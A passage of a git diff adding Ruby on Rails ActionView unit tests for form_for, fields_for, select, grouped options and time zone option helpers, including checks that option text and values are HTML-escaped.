+  def test_form_for_with_labelled_builder_with_nested_fields_for_without_options_hash
+    klass = nil
+
+    form_for(@post, builder: LabelledFormBuilder) do |f|
+      f.fields_for(:comments, Comment.new) do |nested_fields|
+        klass = nested_fields.class
+        ""
+      end
+    end
+
+    assert_equal LabelledFormBuilder, klass
+  end
+
+  def test_form_for_with_labelled_builder_with_nested_fields_for_with_options_hash
+    klass = nil
+
+    form_for(@post, builder: LabelledFormBuilder) do |f|
+      f.fields_for(:comments, Comment.new, index: "foo") do |nested_fields|
+        klass = nested_fields.class
+        ""
+      end
+    end
+
+    assert_equal LabelledFormBuilder, klass
+  end
+
+  def test_form_for_with_labelled_builder_path
+    path = nil
+
+    form_for(@post, builder: LabelledFormBuilder) do |f|
+      path = f.to_partial_path
+      ""
+    end
+
+    assert_equal "labelled_form", path
+  end
+
+  class LabelledFormBuilderSubclass < LabelledFormBuilder; end
+
+  def test_form_for_with_labelled_builder_with_nested_fields_for_with_custom_builder
+    klass = nil
+
+    form_for(@post, builder: LabelledFormBuilder) do |f|
+      f.fields_for(:comments, Comment.new, builder: LabelledFormBuilderSubclass) do |nested_fields|
+        klass = nested_fields.class
+        ""
+      end
+    end
+
+    assert_equal LabelledFormBuilderSubclass, klass
+  end
+
+  def test_form_for_with_html_options_adds_options_to_form_tag
+    form_for(@post, html: { id: "some_form", class: "some_class", multipart: true }) do |f| end
+    expected = whole_form("/posts/123", "some_form", "some_class", method: "patch", multipart: "multipart/form-data")
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_string_url_option
+    form_for(@post, url: "http://www.otherdomain.com") do |f| end
+
+    assert_dom_equal whole_form("http://www.otherdomain.com", "edit_post_123", "edit_post", method: "patch"), output_buffer
+  end
+
+  def test_form_for_with_hash_url_option
+    form_for(@post, url: { controller: "controller", action: "action" }) do |f| end
+
+    assert_equal "controller", @url_for_options[:controller]
+    assert_equal "action", @url_for_options[:action]
+  end
+
+  def test_form_for_with_record_url_option
+    form_for(@post, url: @post) do |f| end
+
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch")
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_existing_object
+    form_for(@post) do |f| end
+
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch")
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_new_object
+    post = Post.new
+    post.persisted = false
+    def post.to_key; nil; end
+
+    form_for(post) do |f| end
+
+    expected = whole_form("/posts", "new_post", "new_post")
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_existing_object_in_list
+    @comment.save
+    form_for([@post, @comment]) {}
+
+    expected = whole_form(post_comment_path(@post, @comment), "edit_comment_1", "edit_comment", method: "patch")
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_new_object_in_list
+    form_for([@post, @comment]) {}
+
+    expected = whole_form(post_comments_path(@post), "new_comment", "new_comment")
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_existing_object_and_namespace_in_list
+    @comment.save
+    form_for([:admin, @post, @comment]) {}
+
+    expected = whole_form(admin_post_comment_path(@post, @comment), "edit_comment_1", "edit_comment", method: "patch")
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_new_object_and_namespace_in_list
+    form_for([:admin, @post, @comment]) {}
+
+    expected = whole_form(admin_post_comments_path(@post), "new_comment", "new_comment")
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_existing_object_and_custom_url
+    form_for(@post, url: "/super_posts") do |f| end
+
+    expected = whole_form("/super_posts", "edit_post_123", "edit_post", method: "patch")
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_default_method_as_patch
+    form_for(@post) {}
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch")
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_data_attributes
+    form_for(@post, data: { behavior: "stuff" }, remote: true) {}
+    assert_match %r|data-behavior="stuff"|, output_buffer
+    assert_match %r|data-remote="true"|, output_buffer
+  end
+
+  def test_fields_for_returns_block_result
+    output = fields_for(Post.new) { |f| "fields" }
+    assert_equal "fields", output
+  end
+
+  def test_form_for_only_instantiates_builder_once
+    initialization_count = 0
+    builder_class = Class.new(ActionView::Helpers::FormBuilder) do
+      define_method :initialize do |*args|
+        super(*args)
+        initialization_count += 1
+      end
+    end
+
+    form_for(@post, builder: builder_class) {}
+    assert_equal 1, initialization_count, "form builder instantiated more than once"
+  end
+
+  private
+
+    def hidden_fields(options = {})
+      method = options[:method]
+
+      if options.fetch(:enforce_utf8, true)
+        txt = %{<input name="utf8" type="hidden" value="&#x2713;" />}.dup
+      else
+        txt = "".dup
+      end
+
+      if method && !%w(get post).include?(method.to_s)
+        txt << %{<input name="_method" type="hidden" value="#{method}" />}
+      end
+
+      txt
+    end
+
+    def form_text(action = "/", id = nil, html_class = nil, remote = nil, multipart = nil, method = nil)
+      txt =  %{<form accept-charset="UTF-8" action="#{action}"}.dup
+      txt << %{ enctype="multipart/form-data"} if multipart
+      txt << %{ data-remote="true"} if remote
+      txt << %{ class="#{html_class}"} if html_class
+      txt << %{ id="#{id}"} if id
+      method = method.to_s == "get" ? "get" : "post"
+      txt << %{ method="#{method}">}
+    end
+
+    def whole_form(action = "/", id = nil, html_class = nil, options = {})
+      contents = block_given? ? yield : ""
+
+      method, remote, multipart = options.values_at(:method, :remote, :multipart)
+
+      form_text(action, id, html_class, remote, multipart, method) + hidden_fields(options.slice :method, :enforce_utf8) + contents + "</form>"
+    end
+
+    def protect_against_forgery?
+      false
+    end
+
+    def with_locale(testing_locale = :label)
+      old_locale, I18n.locale = I18n.locale, testing_locale
+      yield
+    ensure
+      I18n.locale = old_locale
+    end
+end
diff --git a/actionview/test/template/form_options_helper_i18n_test.rb b/actionview/test/template/form_options_helper_i18n_test.rb
new file mode 100644
index 0000000000..21295fa547
--- /dev/null
+++ b/actionview/test/template/form_options_helper_i18n_test.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class FormOptionsHelperI18nTests < ActionView::TestCase
+  tests ActionView::Helpers::FormOptionsHelper
+
+  def setup
+    @prompt_message = "Select!"
+    I18n.backend.send(:init_translations)
+    I18n.backend.store_translations :en, helpers: { select: { prompt: @prompt_message } }
+  end
+
+  def teardown
+    I18n.backend = I18n::Backend::Simple.new
+  end
+
+  def test_select_with_prompt_true_translates_prompt_message
+    assert_called_with(I18n, :translate, ["helpers.select.prompt", { default: "Please select" }]) do
+      select("post", "category", [], prompt: true)
+    end
+  end
+
+  def test_select_with_translated_prompt
+    assert_dom_equal(
+      %Q(<select id="post_category" name="post[category]"><option value="">#{@prompt_message}</option>\n</select>),
+      select("post", "category", [], prompt: true)
+    )
+  end
+end
diff --git a/actionview/test/template/form_options_helper_test.rb b/actionview/test/template/form_options_helper_test.rb
new file mode 100644
index 0000000000..56a8a125e5
--- /dev/null
+++ b/actionview/test/template/form_options_helper_test.rb
@@ -0,0 +1,1417 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class Map < Hash
+  def category
+    "<mus>"
+  end
+end
+
+class CustomEnumerable
+  include Enumerable
+
+  def each
+    yield "one"
+    yield "two"
+  end
+end
+
+class FormOptionsHelperTest < ActionView::TestCase
+  tests ActionView::Helpers::FormOptionsHelper
+
+  silence_warnings do
+    Post        = Struct.new("Post", :title, :author_name, :body, :secret, :written_on, :category, :origin, :allow_comments)
+    Continent   = Struct.new("Continent", :continent_name, :countries)
+    Country     = Struct.new("Country", :country_id, :country_name)
+    Firm        = Struct.new("Firm", :time_zone)
+    Album       = Struct.new("Album", :id, :title, :genre)
+  end
+
+  module FakeZones
+    FakeZone = Struct.new(:name) do
+      def to_s; name; end
+    end
+
+    module ClassMethods
+      def [](id); fake_zones ? fake_zones[id] : super; end
+      def all; fake_zones ? fake_zones.values : super; end
+      def dummy; :test; end
+    end
+
+    def self.prepended(base)
+      class << base
+        mattr_accessor(:fake_zones)
+        prepend ClassMethods
+      end
+    end
+  end
+
+  ActiveSupport::TimeZone.prepend FakeZones
+
+  setup do
+    ActiveSupport::TimeZone.fake_zones = %w(A B C D E).map do |id|
+      [ id, FakeZones::FakeZone.new(id) ]
+    end.to_h
+
+    @fake_timezones = ActiveSupport::TimeZone.all
+  end
+
+  teardown do
+    ActiveSupport::TimeZone.fake_zones = nil
+  end
+
+  def test_collection_options
+    assert_dom_equal(
+      "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
+      options_from_collection_for_select(dummy_posts, "author_name", "title")
+    )
+  end
+
+  def test_collection_options_with_preselected_value
+    assert_dom_equal(
+      "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\" selected=\"selected\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
+      options_from_collection_for_select(dummy_posts, "author_name", "title", "Babe")
+    )
+  end
+
+  def test_collection_options_with_preselected_value_array
+    assert_dom_equal(
+      "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\" selected=\"selected\">Babe went home</option>\n<option value=\"Cabe\" selected=\"selected\">Cabe went home</option>",
+      options_from_collection_for_select(dummy_posts, "author_name", "title", [ "Babe", "Cabe" ])
+    )
+  end
+
+  def test_collection_options_with_proc_for_selected
+    assert_dom_equal(
+      "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\" selected=\"selected\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
+      options_from_collection_for_select(dummy_posts, "author_name", "title", lambda { |p| p.author_name == "Babe" })
+    )
+  end
+
+  def test_collection_options_with_disabled_value
+    assert_dom_equal(
+      "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\" disabled=\"disabled\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
+      options_from_collection_for_select(dummy_posts, "author_name", "title", disabled: "Babe")
+    )
+  end
+
+  def test_collection_options_with_disabled_array
+    assert_dom_equal(
+      "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\" disabled=\"disabled\">Babe went home</option>\n<option value=\"Cabe\" disabled=\"disabled\">Cabe went home</option>",
+      options_from_collection_for_select(dummy_posts, "author_name", "title", disabled: [ "Babe", "Cabe" ])
+    )
+  end
+
+  def test_collection_options_with_preselected_and_disabled_value
+    assert_dom_equal(
+      "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\" disabled=\"disabled\">Babe went home</option>\n<option value=\"Cabe\" selected=\"selected\">Cabe went home</option>",
+      options_from_collection_for_select(dummy_posts, "author_name", "title", selected: "Cabe", disabled: "Babe")
+    )
+  end
+
+  def test_collection_options_with_proc_for_disabled
+    assert_dom_equal(
+      "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\" disabled=\"disabled\">Babe went home</option>\n<option value=\"Cabe\" disabled=\"disabled\">Cabe went home</option>",
+      options_from_collection_for_select(dummy_posts, "author_name", "title", disabled: lambda { |p| %w(Babe Cabe).include?(p.author_name) })
+    )
+  end
+
+  def test_collection_options_with_proc_for_value_method
+    assert_dom_equal(
+      "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
+      options_from_collection_for_select(dummy_posts, lambda { |p| p.author_name }, "title")
+    )
+  end
+
+  def test_collection_options_with_proc_for_text_method
+    assert_dom_equal(
+      "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
+      options_from_collection_for_select(dummy_posts, "author_name", lambda { |p| p.title })
+    )
+  end
+
+  def test_collection_options_with_element_attributes
+    assert_dom_equal(
+      "<option value=\"USA\" class=\"bold\">USA</option>",
+      options_from_collection_for_select([[ "USA", "USA", { class: "bold" } ]], :first, :second)
+    )
+  end
+
+  def test_string_options_for_select
+    options = "<option value=\"Denmark\">Denmark</option><option value=\"USA\">USA</option><option value=\"Sweden\">Sweden</option>"
+    assert_dom_equal(
+      options,
+      options_for_select(options)
+    )
+  end
+
+  def test_array_options_for_select
+    assert_dom_equal(
+      "<option value=\"&lt;Denmark&gt;\">&lt;Denmark&gt;</option>\n<option value=\"USA\">USA</option>\n<option value=\"Sweden\">Sweden</option>",
+      options_for_select([ "<Denmark>", "USA", "Sweden" ])
+    )
+  end
+
+  def test_array_options_for_select_with_custom_defined_selected
+    assert_dom_equal(
+      "<option selected=\"selected\" type=\"Coach\" value=\"1\">Richard Bandler</option>\n<option type=\"Coachee\" value=\"1\">Richard Bandler</option>",
+      options_for_select([
+        ["Richard Bandler", 1, { type: "Coach", selected: "selected" }],
+        ["Richard Bandler", 1, { type: "Coachee" }]
+      ])
+    )
+  end
+
+  def test_array_options_for_select_with_custom_defined_disabled
+    assert_dom_equal(
+      "<option disabled=\"disabled\" type=\"Coach\" value=\"1\">Richard Bandler</option>\n<option type=\"Coachee\" value=\"1\">Richard Bandler</option>",
+      options_for_select([
+        ["Richard Bandler", 1, { type: "Coach", disabled: "disabled" }],
+        ["Richard Bandler", 1, { type: "Coachee" }]
+      ])
+    )
+  end
+
+  def test_array_options_for_select_with_selection
+    assert_dom_equal(
+      "<option value=\"Denmark\">Denmark</option>\n<option value=\"&lt;USA&gt;\" selected=\"selected\">&lt;USA&gt;</option>\n<option value=\"Sweden\">Sweden</option>",
+      options_for_select([ "Denmark", "<USA>", "Sweden" ], "<USA>")
+    )
+  end
+
+  def test_array_options_for_select_with_selection_array
+    assert_dom_equal(
+      "<option value=\"Denmark\">Denmark</option>\n<option value=\"&lt;USA&gt;\" selected=\"selected\">&lt;USA&gt;</option>\n<option value=\"Sweden\" selected=\"selected\">Sweden</option>",
+      options_for_select([ "Denmark", "<USA>", "Sweden" ], [ "<USA>", "Sweden" ])
+    )
+  end
+
+  def test_array_options_for_select_with_disabled_value
+    assert_dom_equal(
+      "<option value=\"Denmark\">Denmark</option>\n<option value=\"&lt;USA&gt;\" disabled=\"disabled\">&lt;USA&gt;</option>\n<option value=\"Sweden\">Sweden</option>",
+      options_for_select([ "Denmark", "<USA>", "Sweden" ], disabled: "<USA>")
+    )
+  end
+
+  def test_array_options_for_select_with_disabled_array
+    assert_dom_equal(
+      "<option value=\"Denmark\">Denmark</option>\n<option value=\"&lt;USA&gt;\" disabled=\"disabled\">&lt;USA&gt;</option>\n<option value=\"Sweden\" disabled=\"disabled\">Sweden</option>",
+      options_for_select([ "Denmark", "<USA>", "Sweden" ], disabled: ["<USA>", "Sweden"])
+    )
+  end
+
+  def test_array_options_for_select_with_selection_and_disabled_value
+    assert_dom_equal(
+      "<option value=\"Denmark\" selected=\"selected\">Denmark</option>\n<option value=\"&lt;USA&gt;\" disabled=\"disabled\">&lt;USA&gt;</option>\n<option value=\"Sweden\">Sweden</option>",
+      options_for_select([ "Denmark", "<USA>", "Sweden" ], selected: "Denmark", disabled: "<USA>")
+    )
+  end
+
+  def test_boolean_array_options_for_select_with_selection_and_disabled_value
+    assert_dom_equal(
+      "<option value=\"true\">true</option>\n<option value=\"false\" selected=\"selected\">false</option>",
+      options_for_select([ true, false ], selected: false, disabled: nil)
+    )
+  end
+
+  def test_range_options_for_select
+    assert_dom_equal(
+      "<option value=\"1\">1</option>\n<option value=\"2\">2</option>\n<option value=\"3\">3</option>",
+      options_for_select(1..3)
+    )
+  end
+
+  def test_array_options_for_string_include_in_other_string_bug_fix
+    assert_dom_equal(
+      "<option value=\"ruby\">ruby</option>\n<option value=\"rubyonrails\" selected=\"selected\">rubyonrails</option>",
+      options_for_select([ "ruby", "rubyonrails" ], "rubyonrails")
+    )
+    assert_dom_equal(
+      "<option value=\"ruby\" selected=\"selected\">ruby</option>\n<option value=\"rubyonrails\">rubyonrails</option>",
+      options_for_select([ "ruby", "rubyonrails" ], "ruby")
+    )
+    assert_dom_equal(
+      %(<option value="ruby" selected="selected">ruby</option>\n<option value="rubyonrails">rubyonrails</option>\n<option value=""></option>),
+      options_for_select([ "ruby", "rubyonrails", nil ], "ruby")
+    )
+  end
+
+  def test_hash_options_for_select
+    assert_dom_equal(
+      "<option value=\"Dollar\">$</option>\n<option value=\"&lt;Kroner&gt;\">&lt;DKR&gt;</option>",
+      options_for_select("$" => "Dollar", "<DKR>" => "<Kroner>").split("\n").join("\n")
+    )
+    assert_dom_equal(
+      "<option value=\"Dollar\" selected=\"selected\">$</option>\n<option value=\"&lt;Kroner&gt;\">&lt;DKR&gt;</option>",
+      options_for_select({ "$" => "Dollar", "<DKR>" => "<Kroner>" }, "Dollar").split("\n").join("\n")
+    )
+    assert_dom_equal(
+      "<option value=\"Dollar\" selected=\"selected\">$</option>\n<option value=\"&lt;Kroner&gt;\" selected=\"selected\">&lt;DKR&gt;</option>",
+      options_for_select({ "$" => "Dollar", "<DKR>" => "<Kroner>" }, [ "Dollar", "<Kroner>" ]).split("\n").join("\n")
+    )
+  end
+
+  def test_ducktyped_options_for_select
+    quack = Struct.new(:first, :last)
+    assert_dom_equal(
+      "<option value=\"&lt;Kroner&gt;\">&lt;DKR&gt;</option>\n<option value=\"Dollar\">$</option>",
+      options_for_select([quack.new("<DKR>", "<Kroner>"), quack.new("$", "Dollar")])
+    )
+    assert_dom_equal(
+      "<option value=\"&lt;Kroner&gt;\">&lt;DKR&gt;</option>\n<option value=\"Dollar\" selected=\"selected\">$</option>",
+      options_for_select([quack.new("<DKR>", "<Kroner>"), quack.new("$", "Dollar")], "Dollar")
+    )
+    assert_dom_equal(
+      "<option value=\"&lt;Kroner&gt;\" selected=\"selected\">&lt;DKR&gt;</option>\n<option value=\"Dollar\" selected=\"selected\">$</option>",
+      options_for_select([quack.new("<DKR>", "<Kroner>"), quack.new("$", "Dollar")], ["Dollar", "<Kroner>"])
+    )
+  end
+
+  def test_collection_options_with_preselected_value_as_string_and_option_value_is_integer
+    albums = [ Album.new(1, "first", "rap"), Album.new(2, "second", "pop")]
+    assert_dom_equal(
+      %(<option selected="selected" value="1">rap</option>\n<option value="2">pop</option>),
+      options_from_collection_for_select(albums, "id", "genre", selected: "1")
+    )
+  end
+
+  def test_collection_options_with_preselected_value_as_integer_and_option_value_is_string
+    albums = [ Album.new("1", "first", "rap"), Album.new("2", "second", "pop")]
+
+    assert_dom_equal(
+      %(<option selected="selected" value="1">rap</option>\n<option value="2">pop</option>),
+      options_from_collection_for_select(albums, "id", "genre", selected: 1)
+    )
+  end
+
+  def test_collection_options_with_preselected_value_as_string_and_option_value_is_float
+    albums = [ Album.new(1.0, "first", "rap"), Album.new(2.0, "second", "pop")]
+
+    assert_dom_equal(
+      %(<option value="1.0">rap</option>\n<option value="2.0" selected="selected">pop</option>),
+      options_from_collection_for_select(albums, "id", "genre", selected: "2.0")
+    )
+  end
+
+  def test_collection_options_with_preselected_value_as_nil
+    albums = [ Album.new(1.0, "first", "rap"), Album.new(2.0, "second", "pop")]
+
+    assert_dom_equal(
+      %(<option value="1.0">rap</option>\n<option value="2.0">pop</option>),
+      options_from_collection_for_select(albums, "id", "genre", selected: nil)
+    )
+  end
+
+  def test_collection_options_with_disabled_value_as_nil
+    albums = [ Album.new(1.0, "first", "rap"), Album.new(2.0, "second", "pop")]
+
+    assert_dom_equal(
+      %(<option value="1.0">rap</option>\n<option value="2.0">pop</option>),
+      options_from_collection_for_select(albums, "id", "genre", disabled: nil)
+    )
+  end
+
+  def test_collection_options_with_disabled_value_as_array
+    albums = [ Album.new(1.0, "first", "rap"), Album.new(2.0, "second", "pop")]
+
+    assert_dom_equal(
+      %(<option disabled="disabled" value="1.0">rap</option>\n<option disabled="disabled" value="2.0">pop</option>),
+      options_from_collection_for_select(albums, "id", "genre", disabled: ["1.0", 2.0])
+    )
+  end
+
+  def test_collection_options_with_preselected_values_as_string_array_and_option_value_is_float
+    albums = [ Album.new(1.0, "first", "rap"), Album.new(2.0, "second", "pop"), Album.new(3.0, "third", "country") ]
+
+    assert_dom_equal(
+      %(<option value="1.0" selected="selected">rap</option>\n<option value="2.0">pop</option>\n<option value="3.0" selected="selected">country</option>),
+      options_from_collection_for_select(albums, "id", "genre", ["1.0", "3.0"])
+    )
+  end
+
+  def test_option_groups_from_collection_for_select
+    assert_dom_equal(
+      "<optgroup label=\"&lt;Africa&gt;\"><option value=\"&lt;sa&gt;\">&lt;South Africa&gt;</option>\n<option value=\"so\">Somalia</option></optgroup><optgroup label=\"Europe\"><option value=\"dk\" selected=\"selected\">Denmark</option>\n<option value=\"ie\">Ireland</option></optgroup>",
+      option_groups_from_collection_for_select(dummy_continents, "countries", "continent_name", "country_id", "country_name", "dk")
+    )
+  end
+
+  def test_option_groups_from_collection_for_select_returns_html_safe_string
+    assert option_groups_from_collection_for_select(dummy_continents, "countries", "continent_name", "country_id", "country_name", "dk").html_safe?
+  end
+
+  def test_grouped_options_for_select_with_array
+    assert_dom_equal(
+      "<optgroup label=\"North America\"><option value=\"US\">United States</option>\n<option value=\"Canada\">Canada</option></optgroup><optgroup label=\"Europe\"><option value=\"GB\">Great Britain</option>\n<option value=\"Germany\">Germany</option></optgroup>",
+      grouped_options_for_select([
+         ["North America",
+             [["United States", "US"], "Canada"]],
+         ["Europe",
+             [["Great Britain", "GB"], "Germany"]]
+       ])
+    )
+  end
+
+  def test_grouped_options_for_select_with_array_and_html_attributes
+    assert_dom_equal(
+      "<optgroup label=\"North America\" data-foo=\"bar\"><option value=\"US\">United States</option>\n<option value=\"Canada\">Canada</option></optgroup><optgroup label=\"Europe\" disabled=\"disabled\"><option value=\"GB\">Great Britain</option>\n<option value=\"Germany\">Germany</option></optgroup>",
+      grouped_options_for_select([
+         ["North America", [["United States", "US"], "Canada"], data: { foo: "bar" }],
+         ["Europe", [["Great Britain", "GB"], "Germany"], disabled: "disabled"]
+       ])
+    )
+  end
+
+  def test_grouped_options_for_select_with_optional_divider
+    assert_dom_equal(
+      "<optgroup label=\"----------\"><option value=\"US\">US</option>\n<option value=\"Canada\">Canada</option></optgroup><optgroup label=\"----------\"><option value=\"GB\">GB</option>\n<option value=\"Germany\">Germany</option></optgroup>",
+
+      grouped_options_for_select([["US", "Canada"] , ["GB", "Germany"]], nil, divider: "----------")
+    )
+  end
+
+  def test_grouped_options_for_select_with_selected_and_prompt
+    assert_dom_equal(
+      "<option value=\"\">Choose a product...</option><optgroup label=\"Hats\"><option value=\"Baseball Cap\">Baseball Cap</option>\n<option selected=\"selected\" value=\"Cowboy Hat\">Cowboy Hat</option></optgroup>",
+      grouped_options_for_select([["Hats", ["Baseball Cap", "Cowboy Hat"]]], "Cowboy Hat", prompt: "Choose a product...")
+    )
+  end
+
+  def test_grouped_options_for_select_with_selected_and_prompt_true
+    assert_dom_equal(
+      "<option value=\"\">Please select</option><optgroup label=\"Hats\"><option value=\"Baseball Cap\">Baseball Cap</option>\n<option selected=\"selected\" value=\"Cowboy Hat\">Cowboy Hat</option></optgroup>",
+      grouped_options_for_select([["Hats", ["Baseball Cap", "Cowboy Hat"]]], "Cowboy Hat", prompt: true)
+    )
+  end
+
+  def test_grouped_options_for_select_returns_html_safe_string
+    assert grouped_options_for_select([["Hats", ["Baseball Cap", "Cowboy Hat"]]]).html_safe?
+  end
+
+  def test_grouped_options_for_select_with_prompt_returns_html_escaped_string
+    assert_dom_equal(
+      "<option value=\"\">&lt;Choose One&gt;</option><optgroup label=\"Hats\"><option value=\"Baseball Cap\">Baseball Cap</option>\n<option value=\"Cowboy Hat\">Cowboy Hat</option></optgroup>",
+      grouped_options_for_select([["Hats", ["Baseball Cap", "Cowboy Hat"]]], nil, prompt: "<Choose One>"))
+  end
+
+  def test_optgroups_with_with_options_with_hash
+    assert_dom_equal(
+      "<optgroup label=\"North America\"><option value=\"United States\">United States</option>\n<option value=\"Canada\">Canada</option></optgroup><optgroup label=\"Europe\"><option value=\"Denmark\">Denmark</option>\n<option value=\"Germany\">Germany</option></optgroup>",
+      grouped_options_for_select("North America" => ["United States", "Canada"], "Europe" => ["Denmark", "Germany"])
+    )
+  end
+
+  def test_time_zone_options_no_params
+    opts = time_zone_options_for_select
+    assert_dom_equal "<option value=\"A\">A</option>\n" \
+                 "<option value=\"B\">B</option>\n" \
+                 "<option value=\"C\">C</option>\n" \
+                 "<option value=\"D\">D</option>\n" \
+                 "<option value=\"E\">E</option>",
+                 opts
+  end
+
+  def test_time_zone_options_with_selected
+    opts = time_zone_options_for_select("D")
+    assert_dom_equal "<option value=\"A\">A</option>\n" \
+                 "<option value=\"B\">B</option>\n" \
+                 "<option value=\"C\">C</option>\n" \
+                 "<option value=\"D\" selected=\"selected\">D</option>\n" \
+                 "<option value=\"E\">E</option>",
+                 opts
+  end
+
+  def test_time_zone_options_with_unknown_selected
+    opts = time_zone_options_for_select("K")
+    assert_dom_equal "<option value=\"A\">A</option>\n" \
+                 "<option value=\"B\">B</option>\n" \
+                 "<option value=\"C\">C</option>\n" \
+                 "<option value=\"D\">D</option>\n" \
+                 "<option value=\"E\">E</option>",
+                 opts
+  end
+
+  def test_time_zone_options_with_priority_zones
+    zones = [ ActiveSupport::TimeZone.new("B"), ActiveSupport::TimeZone.new("E") ]
+    opts = time_zone_options_for_select(nil, zones)
+    assert_dom_equal "<option value=\"B\">B</option>\n" \
+                 "<option value=\"E\">E</option>" \
+                 "<option value=\"\" disabled=\"disabled\">-------------</option>\n" \
+                 "<option value=\"A\">A</option>\n" \
+                 "<option value=\"C\">C</option>\n" \
+                 "<option value=\"D\">D</option>",
+                 opts
+  end
+
+  def test_time_zone_options_with_selected_priority_zones
+    zones = [ ActiveSupport::TimeZone.new("B"), ActiveSupport::TimeZone.new("E") ]
+    opts = time_zone_options_for_select("E", zones)
+    assert_dom_equal "<option value=\"B\">B</option>\n" \
+                 "<option value=\"E\" selected=\"selected\">E</option>" \
+                 "<option value=\"\" disabled=\"disabled\">-------------</option>\n" \
+                 "<option value=\"A\">A</option>\n" \
+                 "<option value=\"C\">C</option>\n" \
+                 "<option value=\"D\">D</option>",
+                 opts
+  end
+
+  def test_time_zone_options_with_unselected_priority_zones
+    zones = [ ActiveSupport::TimeZone.new("B"), ActiveSupport::TimeZone.new("E") ]
+    opts = time_zone_options_for_select("C", zones)
+    assert_dom_equal "<option value=\"B\">B</option>\n" \
+                 "<option value=\"E\">E</option>" \
+                 "<option value=\"\" disabled=\"disabled\">-------------</option>\n" \
+                 "<option value=\"A\">A</option>\n" \
+                 "<option value=\"C\" selected=\"selected\">C</option>\n" \
+                 "<option value=\"D\">D</option>",
+                 opts
+  end
+
+  def test_time_zone_options_with_priority_zones_does_not_mutate_time_zones
+    original_zones = ActiveSupport::TimeZone.all.dup
+    zones = [ ActiveSupport::TimeZone.new("B"), ActiveSupport::TimeZone.new("E") ]
+    time_zone_options_for_select(nil, zones)
+    assert_equal original_zones, ActiveSupport::TimeZone.all
+  end
+
+  def test_time_zone_options_returns_html_safe_string
+    assert time_zone_options_for_select.html_safe?
+  end
+
+  def test_select
+    @post = Post.new
+    @post.category = "<mus>"
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+      select("post", "category", %w( abe <mus> hest))
+    )
+  end
+
+  def test_select_without_multiple
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"></select>",
+      select(:post, :category, "", {}, multiple: false)
+    )
+  end
+
+  def test_select_with_grouped_collection_as_nested_array
+    @post = Post.new
+
+    countries_by_continent = [
+      ["<Africa>", [["<South Africa>", "<sa>"], ["Somalia", "so"]]],
+      ["Europe",   [["Denmark", "dk"], ["Ireland", "ie"]]],
+    ]
+
+    assert_dom_equal(
+      [
+        '<select id="post_origin" name="post[origin]"><optgroup label="&lt;Africa&gt;"><option value="&lt;sa&gt;">&lt;South Africa&gt;</option>',
+        '<option value="so">Somalia</option></optgroup><optgroup label="Europe"><option value="dk">Denmark</option>',
+        '<option value="ie">Ireland</option></optgroup></select>',
+      ].join("\n"),
+      select("post", "origin", countries_by_continent)
+    )
+  end
+
+  def test_select_with_grouped_collection_as_hash
+    @post = Post.new
+
+    countries_by_continent = {
+      "<Africa>" => [["<South Africa>", "<sa>"], ["Somalia", "so"]],
+      "Europe"   => [["Denmark", "dk"], ["Ireland", "ie"]],
+    }
+
+    assert_dom_equal(
+      [
+        '<select id="post_origin" name="post[origin]"><optgroup label="&lt;Africa&gt;"><option value="&lt;sa&gt;">&lt;South Africa&gt;</option>',
+        '<option value="so">Somalia</option></optgroup><optgroup label="Europe"><option value="dk">Denmark</option>',
+        '<option value="ie">Ireland</option></optgroup></select>',
+      ].join("\n"),
+      select("post", "origin", countries_by_continent)
+    )
+  end
+
+  def test_select_with_boolean_method
+    @post = Post.new
+    @post.allow_comments = false
+    assert_dom_equal(
+      "<select id=\"post_allow_comments\" name=\"post[allow_comments]\"><option value=\"true\">true</option>\n<option value=\"false\" selected=\"selected\">false</option></select>",
+      select("post", "allow_comments", %w( true false ))
+    )
+  end
+
+  def test_select_under_fields_for
+    @post = Post.new
+    @post.category = "<mus>"
+
+    output_buffer = fields_for :post, @post do |f|
+      concat f.select(:category, %w( abe <mus> hest))
+    end
+
+    assert_dom_equal(
